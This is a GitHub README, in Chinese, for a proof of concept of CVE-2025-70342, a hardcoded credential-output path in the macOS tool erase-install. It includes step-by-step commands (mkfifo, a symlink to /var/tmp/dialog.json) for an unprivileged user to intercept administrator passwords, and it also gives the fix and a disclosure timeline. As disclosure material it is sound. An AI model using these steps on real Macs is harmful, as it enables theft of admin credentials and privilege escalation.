malvector/CVE-2025-70342
GitHub: malvector/CVE-2025-70342
CVE-2025-70342的PoC,演示如何通过命名管道在Apple Silicon Mac上拦截erase-install工具中的管理员凭据。
Stars: 0 | Forks: 0
# CVE-2025-70342:通过 erase-install 中的命名管道拦截凭据
## 摘要
v40.4 之前的 erase-install(提交 2c31239)将 swiftDialog 凭据输出写入硬编码路径 `/var/tmp/dialog.json`。在 Apple Silicon Mac 上,在重新安装/擦除操作期间输入的管理员凭据会被写入此可预测且全局可写的位置。本地非特权攻击者可以在该路径创建命名管道(FIFO)以实时拦截管理员凭据。
## 受影响版本
- **易受攻击:** erase-install <= 40.4
- **已修复:** 提交 [2c31239](https://github.com/grahampugh/erase-install/commit/2c31239fb8519d87577514b3db9ddb0771232a21)(在 PR #574 之后)
## CVSS 3.1
**评分:7.1(高危)**
`CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N`
| 指标 | 值 |
|--------|-------|
| 攻击向量 | 本地 |
| 攻击复杂度 | 低 |
| 所需权限 | 低 |
| 用户交互 | 需要(管理员输入凭据) |
| 范围 | 未改变 |
| 机密性 | 高 |
| 完整性 | 高 |
| 可用性 | 无 |
## 漏洞详情
### 硬编码凭据输出路径 (CWE-732)
**文件:** `erase-install.sh`
**第 72 行:**
```
dialog_output="/var/tmp/dialog.json"
```
**第 124 行:**
```
"$dialog_bin" "${dialog_args[@]}" ... 2>/dev/null > "$dialog_output"
```
在 Apple Silicon Mac 上,erase-install 通过 swiftDialog 提示管理员输入凭据。凭据(用户名 + 密码)通过 shell 重定向写入 `/var/tmp/dialog.json` —— 这是一个位于全局可写目录中的硬编码路径。脚本在写入之前不会检查此路径是否已被篡改。
### 攻击场景
```
1. Unprivileged attacker creates a named pipe (FIFO): mkfifo /tmp/.fifo
2. Attacker creates symlink: ln -s /tmp/.fifo /var/tmp/dialog.json
3. Attacker reads from FIFO (blocks, waiting for data)
4. Admin runs: sudo erase-install.sh --erase
5. Admin enters credentials in swiftDialog prompt
6. Credentials flow through symlink → FIFO → attacker's terminal
```
此攻击不需要特殊的时间掌握或竞态条件 —— 攻击者只需植入符号链接并等待。
## 概念验证
### 前置条件
- Apple Silicon Mac(凭据提示仅在 arm64 上触发)
- 任意非特权本地用户账户
### 用法
```
# 启动 listener (作为非特权用户)
python3 poc.py
# 等待管理员运行带有 --erase 或 --reinstall 参数的 erase-install
# 捕获到凭证时将打印到 stdout
# 清理
python3 poc.py --cleanup
```
详见 `poc.py`。
## 修复方案
- **升级** erase-install 至包含提交 [2c31239](https://github.com/grahampugh/erase-install/commit/2c31239fb8519d87577514b3db9ddb0771232a21) 或更高版本
- 该修复使用 `mktemp` 生成随机文件名,防止路径预测:
```
- dialog_output="/var/tmp/dialog.json"
+ dialog_output=$(/usr/bin/mktemp /var/tmp/dialog.XXX.json)
```
## 时间线
| 日期 | 事件 |
|------|-------|
| 2025-12-23 | 发现漏洞 |
| 2025-12-23 | 向维护者报告问题 |
| 2025-12-24 | 通过 PR [#574](https://github.com/grahampugh/erase-install/pull/574) 合并修复 |
| 2026-02-20 | 分配 CVE-2025-70342 |
## 贡献者
- **cooldadhacking** ([GitHub](https://github.com/cooldadhacking))
## 参考资料
- [erase-install PR #574](https://github.com/grahampugh/erase-install/pull/574)
- [修复提交 2c31239](https://github.com/grahampugh/erase-install/commit/2c31239fb8519d87577514b3db9ddb0771232a21)
## 免责声明
本概念验证仅用于教育和授权安全测试目的。请负责任地使用,且仅在您拥有或明确获得测试许可的系统上使用。
标签:Apple Silicon, CVE-2025-70342, CVSS 7.1, CWE-732, DNS 解析, erase-install, FIFO, Jamf, macOS 安全, SIP, swiftDialog, 不安全文件权限, 凭证拦截, 协议分析, 命名管道, 安全漏洞, 应用安全, 本地提权, 权限提升, 硬编码路径, 符号链接攻击, 系统管理工具, 红队技术, 逆向工具